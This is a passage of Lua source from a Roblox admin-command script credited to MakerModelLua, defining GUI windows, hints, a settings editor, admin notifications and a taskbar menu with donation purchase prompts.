4108 | if Alive == true then | |
4109 | Ticker.Text = i | |
4110 | wait(0.1) | |
4111 | else | |
4112 | break | |
4113 | end | |
4114 | end | |
4115 | end | |
4116 | if Alive == true then | |
4117 | Close:Invoke() | |
4118 | else | |
4119 | Ticker:Destroy() | |
4120 | Stop:Destroy() | |
4121 | Frame.Size = Frame.Size + UDim2.new(0,0,0,30) | |
4122 | Frame.Position = Frame.Position + UDim2.new(0,0,0,-30) | |
4123 | end | |
4124 | end)() end | |
4125 | ||
4126 | CORE:ExecuteResource("CalculateScrollY", Body) | |
4127 | end | |
4128 | end | |
4129 | ||
4130 | function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error) | |
4131 | if not Player then return nil end | |
4132 | if not Player:IsA("Player") then return nil end | |
4133 | if BodyText == "" then return nil end | |
4134 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
4135 | BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000) | |
4136 | local TextColor = GUI:ContrastColor() | |
4137 | if Error then TextColor = Color3.new(1,0,0) end | |
4138 | ||
4139 | local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID) | |
4140 | local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor | |
4141 | ||
4142 | CORE:ExecuteResource("CalculateScrollY", Body) | |
4143 | ||
4144 | return Frame, Close, Closed, Minimize, Minimized | |
4145 | end | |
4146 | ||
4147 | function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function() | |
4148 | Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker) | |
4149 | local TweenTime = 0.5 | |
4150 | if not Time then Time = 5 end | |
4151 | local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint" | |
4152 | local MaxPos = -1 | |
4153 | for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do | |
4154 | local IVal = SGObj:FindFirstChild("Index") | |
4155 | if IVal then | |
4156 | MaxPos = math.max(MaxPos, IVal.Value) | |
4157 | end | |
4158 | end | |
4159 | MaxPos = MaxPos + 1 | |
4160 | local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos | |
4161 | local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1 | |
4162 | local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0 | |
4163 | local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0 | |
4164 | local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1 | |
4165 | SG.Parent = Player.PlayerGui | |
4166 | ||
4167 | CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"}) | |
4168 | CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"}) | |
4169 | ||
4170 | LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime) | |
4171 | RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime) | |
4172 | Delay(TweenTime, function() | |
4173 | for i = 1,0,-0.1 do | |
4174 | Body.TextTransparency = i | |
4175 | wait() | |
4176 | end | |
4177 | Body.TextTransparency = 0 | |
4178 | end) | |
4179 | Delay(TweenTime + Time, function() | |
4180 | for i = 0,1,0.1 do | |
4181 | Body.TextTransparency = i | |
4182 | wait() | |
4183 | end | |
4184 | Body.TextTransparency = 1 | |
4185 | local Done = false | |
4186 | LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end) | |
4187 | RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end) | |
4188 | end) | |
4189 | ||
4190 | end)() end | |
4191 | ||
4192 | function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor) | |
4193 | if not Player then return nil end | |
4194 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
4195 | if not PreSearch then PreSearch = "" end | |
4196 | if AutoNumber == nil then AutoNumber = true end | |
4197 | ||
4198 | local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor) | |
4199 | local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" | |
4200 | SearchBar.Parent = Frame.Parent | |
4201 | Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) | |
4202 | Frame.Position = Frame.Position + UDim2.new(0,0,0,30) | |
4203 | ||
4204 | local SearchVer = 0,nil | |
4205 | local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked" | |
4206 | local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog" | |
4207 | local InDialog = false | |
4208 | ||
4209 | local function ShowResults(Key) | |
4210 | SearchVer = SearchVer + 1 | |
4211 | local ThisSearchVer = SearchVer | |
4212 | ||
4213 | if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end | |
4214 | for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end | |
4215 | ||
4216 | local NumPos,Num = 0,1 | |
4217 | ||
4218 | for _,Data in pairs(List) do | |
4219 | if ThisSearchVer ~= SearchVer then | |
4220 | break | |
4221 | end | |
4222 | local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player) | |
4223 | if String then | |
4224 | local ImageIcon = nil | |
4225 | if type(Data) == "table" then | |
4226 | String = Data[1] | |
4227 | ImageIcon = Data[2] | |
4228 | end | |
4229 | ||
4230 | local TextColor = GUI:ContrastColor() | |
4231 | local StringSplit = STRING:GetSplit(String, 1, " ") | |
4232 | local NewColor = GUI:GetColor(StringSplit[1]) | |
4233 | if NewColor then TextColor = NewColor String = StringSplit[2] end | |
4234 | ||
4235 | if string.find(string.lower(String), string.lower(Key)) then | |
4236 | Spacer = false | |
4237 | local Font = Settings.Font | |
4238 | local Split = STRING:GetSplit(String, 1, " ") | |
4239 | if string.sub(string.lower(String),1,6) == "bold: " then | |
4240 | Font = "ArialBold" | |
4241 | String = string.sub(String,7) | |
4242 | elseif Fonts[Split[1]] then | |
4243 | Font = Split[1] | |
4244 | String = Split[2] | |
4245 | end | |
4246 | if string.sub(String,1,2) == "--" then | |
4247 | Spacer = true | |
4248 | end | |
4249 | local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end | |
4250 | if ImageIcon then | |
4251 | if tonumber(ImageIcon) then | |
4252 | ImageIcon = "rbxassetid://"..ImageIcon | |
4253 | elseif Icons[ImageIcon] then | |
4254 | ImageIcon = "rbxassetid://"..Icons[ImageIcon] | |
4255 | end | |
4256 | ||
4257 | Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2 | |
4258 | local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon | |
4259 | local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true | |
4260 | Content.Text = "" | |
4261 | NumPos = NumPos + 90 | |
4262 | else | |
4263 | NumPos = NumPos + 30 | |
4264 | end | |
4265 | ||
4266 | if not Clickable then | |
4267 | Content.AutoButtonColor = false | |
4268 | Content.Active = false | |
4269 | Content.BackgroundTransparency = 1 | |
4270 | elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then | |
4271 | SOUND:BindButton(Content) | |
4272 | CORE:HandleEvent(Content, "MouseButton1Down", function() | |
4273 | if not InDialog then | |
4274 | Clicked:Fire(String) | |
4275 | end | |
4276 | end, true) | |
4277 | end | |
4278 | if Spacer == false then Num = Num + 1 end | |
4279 | end | |
4280 | end | |
4281 | end | |
4282 | Frame.CanvasSize = UDim2.new(0,0,0,NumPos) | |
4283 | ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos}) | |
4284 | end | |
4285 | ||
4286 | RequestDialog.OnInvoke = function(RequestDialogCall) | |
4287 | InDialog = RequestDialogCall | |
4288 | end | |
4289 | ||
4290 | ShowResults(PreSearch) | |
4291 | ||
4292 | local RPR = CORE:CreateRemotePropertyReader(SearchBar) | |
4293 | CORE:HandleEvent(SearchBar, "Changed", function(Prop) | |
4294 | if Prop == "Text" then | |
4295 | local Text = CORE:ReadProperty(RPR, Player, "Text") | |
4296 | ShowResults(Text) | |
4297 | Frame.CanvasPosition = Vector2.new(0,0) | |
4298 | end | |
4299 | end) | |
4300 | ||
4301 | return Clicked, RequestDialog, Close | |
4302 | end | |
4303 | ||
4304 | function GUI:PropertyGui(Player, Title, Icon, Properties) | |
4305 | if not Player then return nil end | |
4306 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
4307 | if type(Properties) ~= "table" then return nil end | |
4308 | local HasClosed = false | |
4309 | local NewProperties = {} | |
4310 | ||
4311 | local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon) | |
4312 | Frame.ClipsDescendants = true | |
4313 | local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2 | |
4314 | ||
4315 | for PropertyName,Data in pairs(Properties) do | |
4316 | NewProperties[PropertyName] = Data[1] | |
4317 | end | |
4318 | ||
4319 | local YCount = 0 | |
4320 | ||
4321 | for PropertyName,Data in pairs(Properties) do | |
4322 | if type(Data) == "table" then | |
4323 | local DefaultValue = Data[1] | |
4324 | local Writable = Data[2] | |
4325 | local ValueType = Data[3] | |
4326 | ||
4327 | if Writable == nil then Writable = false end | |
4328 | if type(ValueType) == "string" then -- now this is confusing | |
4329 | ValueType = string.lower(ValueType) | |
4330 | elseif ValueType == nil then | |
4331 | ValueType = type(DefaultValue) | |
4332 | end | |
4333 | ||
4334 | if ValueType == "nil" or ValueType == "userdata" then | |
4335 | ValueType = nil | |
4336 | elseif ValueType == "table" then | |
4337 | DefaultValue = STRING:UnpackArgs(DefaultValue) | |
4338 | ValueType = "string" | |
4339 | end | |
4340 | ||
4341 | if ValueType then | |
4342 | local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme | |
4343 | local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left" | |
4344 | local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1 | |
4345 | ||
4346 | if ValueType == "string" or ValueType == "number" then | |
4347 | if Writable == true then | |
4348 | local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false | |
4349 | CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then | |
4350 | if ValueType == "number" then | |
4351 | NewProperties[PropertyName] = tonumber(Input.Text) | |
4352 | else | |
4353 | NewProperties[PropertyName] = tostring(Input.Text) | |
4354 | end | |
4355 | end end) | |
4356 | else | |
4357 | local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left" | |
4358 | end | |
4359 | end | |
4360 | if ValueType == "boolean" then | |
4361 | local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474" | |
4362 | if DefaultValue == true then | |
4363 | Check.Image = "rbxassetid://48138491" | |
4364 | end | |
4365 | if Writable == true then | |
4366 | CORE:HandleEvent(Check, "MouseButton1Down", function() | |
4367 | local NewVal = not NewProperties[PropertyName] | |
4368 | NewProperties[PropertyName] = NewVal | |
4369 | if NewVal == true then | |
4370 | Check.Image = "rbxassetid://48138491" | |
4371 | else | |
4372 | Check.Image = "rbxassetid://48138474" | |
4373 | end | |
4374 | end) | |
4375 | else | |
4376 | Check.ImageTransparency = 0.5 | |
4377 | end | |
4378 | end | |
4379 | YCount = YCount + 50 | |
4380 | end | |
4381 | end | |
4382 | end | |
4383 | ||
4384 | Frame.CanvasSize = UDim2.new(0,0,0,YCount) | |
4385 | ||
4386 | Closed.Event:connect(function() HasClosed = true end) | |
4387 | ||
4388 | repeat wait(0.1) until HasClosed | |
4389 | return NewProperties | |
4390 | end | |
4391 | ||
4392 | function GUI:SettingsGui(Player) | |
4393 | if not Player then return nil end | |
4394 | local CloneViewSettings,CanChange = {},false | |
4395 | ||
4396 | local ViewSettings = { | |
4397 | ["Version"] = {CORE.Version.Value, false, nil}; | |
4398 | ["Prefix"] = {Settings.Prefix, 3, "Prefix"}; | |
4399 | ["Font"] = {Settings.Font, 3, "Font"}; | |
4400 | ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"}; | |
4401 | ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"}; | |
4402 | ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"}; | |
4403 | ["Fun Commands"] = {Settings.Fun, 3, "Fun"}; | |
4404 | ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"}; | |
4405 | ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"}; | |
4406 | ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"}; | |
4407 | ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"}; | |
4408 | ["Group ID"] = {Settings.GroupID, false, "GroupID"}; | |
4409 | ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"}; | |
4410 | ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"}; | |
4411 | ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"}; | |
4412 | ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"}; | |
4413 | ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"}; | |
4414 | ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"}; | |
4415 | ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"}; | |
4416 | ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil}; | |
4417 | ["Bet"] = {Settings.Bet, 3, "Bet"}; | |
4418 | } | |
4419 | ||
4420 | local _,RankNum = RANK:GetRank(Player) | |
4421 | if RankNum >= 3 then | |
4422 | CanChange = true | |
4423 | end | |
4424 | ||
4425 | for Prop,Data in pairs(ViewSettings) do | |
4426 | local Writable = false | |
4427 | if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end | |
4428 | CloneViewSettings[Prop] = {Data[1], Writable} | |
4429 | end | |
4430 | ||
4431 | local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings) | |
4432 | if CanChange then | |
4433 | for Prop,Data in pairs(ViewSettings) do | |
4434 | if Data[3] then | |
4435 | Settings[Data[3]] = NewSettings[Prop] -- wow haxy | |
4436 | end | |
4437 | end | |
4438 | CORE:FixSettings() | |
4439 | end | |
4440 | end | |
4441 | ||
4442 | function GUI:MessageAdmins(TitleText, BodyText, Icon) | |
4443 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
4444 | local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player) | |
4445 | if PlayerAdmin then | |
4446 | GUI:SendMessage(Player, TitleText, BodyText, Icon) | |
4447 | end | |
4448 | end | |
4449 | end | |
4450 | ||
4451 | function GUI:TellAdmin(Player) | |
4452 | if not Player then return end | |
4453 | ||
4454 | local ValidAdmin,Rank = RANK:IsAdmin(Player) | |
4455 | if ValidAdmin == true then | |
4456 | GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5) | |
4457 | if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then | |
4458 | local SoundID = 237866523 | |
4459 | if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end | |
4460 | local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1) | |
4461 | Sound:Play() | |
4462 | coroutine.wrap(function() | |
4463 | wait(4) | |
4464 | Sound:Stop() | |
4465 | Sound:Destroy() | |
4466 | end)() | |
4467 | end | |
4468 | end | |
4469 | end | |
4470 | ||
4471 | function GUI:TellNotAdmin(Player) | |
4472 | if not Player then return end | |
4473 | ||
4474 | GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information") | |
4475 | end | |
4476 | ||
4477 | function GUI:CreateTaskBar(Player) | |
4478 | if not Player then return nil end | |
4479 | if Settings.EnableTaskBar == false then return nil end | |
4480 | Player:WaitForChild("PlayerGui") | |
4481 | local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar") | |
4482 | if SG then SG:Destroy() end | |
4483 | SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar" | |
4484 | local IsMoving = false | |
4485 | local TaskBarShown = false | |
4486 | local Tasks = {} | |
4487 | ||
4488 | local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0 | |
4489 | local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206" | |
4490 | ||
4491 | local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm" | |
4492 | local Open,CloseForm = false,nil | |
4493 | if Settings.EnableAdminMenu then | |
4494 | local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270" | |
4495 | coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function() | |
4496 | if Open == false then | |
4497 | local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true) | |
4498 | Open,CloseForm = true,Close | |
4499 | ||
4500 | local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor() | |
4501 | local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30) | |
4502 | local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top" | |
4503 | local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true | |
4504 | local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!" | |
4505 | local function DonateMoney(Type, Element) | |
4506 | local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57)) | |
4507 | local Get = Request[Type] | |
4508 | if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then | |
4509 | Server.MPS:PromptPurchase(Player, Get[1], true) | |
4510 | elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then | |
4511 | Server.MPS:PromptPurchase(Player, Get[2], true) | |
4512 | elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then | |
4513 | Server.MPS:PromptPurchase(Player, Get[3], true) | |
4514 | else | |
4515 | Element.Text = "Cannot get request" | |
4516 | end | |
4517 | end | |
4518 | local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get) | |
4519 | local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt) | |
4520 | local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt) | |
4521 | local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt) | |
4522 | local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt) | |
4523 | local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player) | |
4524 | ||
4525 | if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end | |
4526 | ||
4527 | if Closed then | |
4528 | Closed.Event:connect(function() | |
4529 | Open = false | |
4530 | end) | |
4531 | end | |
4532 | else | |
4533 | CloseForm:Invoke() | |
4534 | end | |
4535 | end) end)() | |
4536 | if RANK:GetRank(Player) == "Owner" then | |
4537 | local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761" | |
4538 | CORE:HandleEvent(HUDButton, "MouseButton1Click", function() | |
4539 | local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui") | |
4540 | if HUDSG then | |
4541 | HUDSG:Destroy() | |
4542 | else | |
4543 | GUI:CreateHUD(Player) | |
4544 | end | |
4545 | end) | |
4546 | end | |
4547 | end | |
4548 | ||
4549 | CORE:HandleEvent(TaskButton, "MouseButton1Click", function() | |
4550 | if IsMoving == false then | |
4551 | if TaskBarShown == true then | |
4552 | TaskBarShown = false | |
4553 | IsMoving = true | |
4554 | TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end) | |
4555 | else | |
4556 | TaskBarShown = true | |
4557 | IsMoving = true | |
4558 | TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end) | |
4559 | end | |
4560 | end | |
4561 | end) | |
4562 | ||
4563 | local function ReloadIcons() | |
4564 | for Num,Data in pairs(Tasks) do | |
4565 | Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0) | |
4566 | end | |
4567 | end | |
4568 | ||
4569 | AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore) | |
4570 | local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID | |
4571 | table.insert(Tasks, {Form, Icon}) | |
4572 | local CanClick = true | |
4573 | CORE:HandleEvent(Icon, "MouseButton1Down", function() | |
4574 | if Form.IsActive.Value == false then | |
4575 | Restore:Invoke() | |
4576 | elseif CanClick == true then | |
4577 | coroutine.wrap(function() | |
4578 | CanClick = false | |
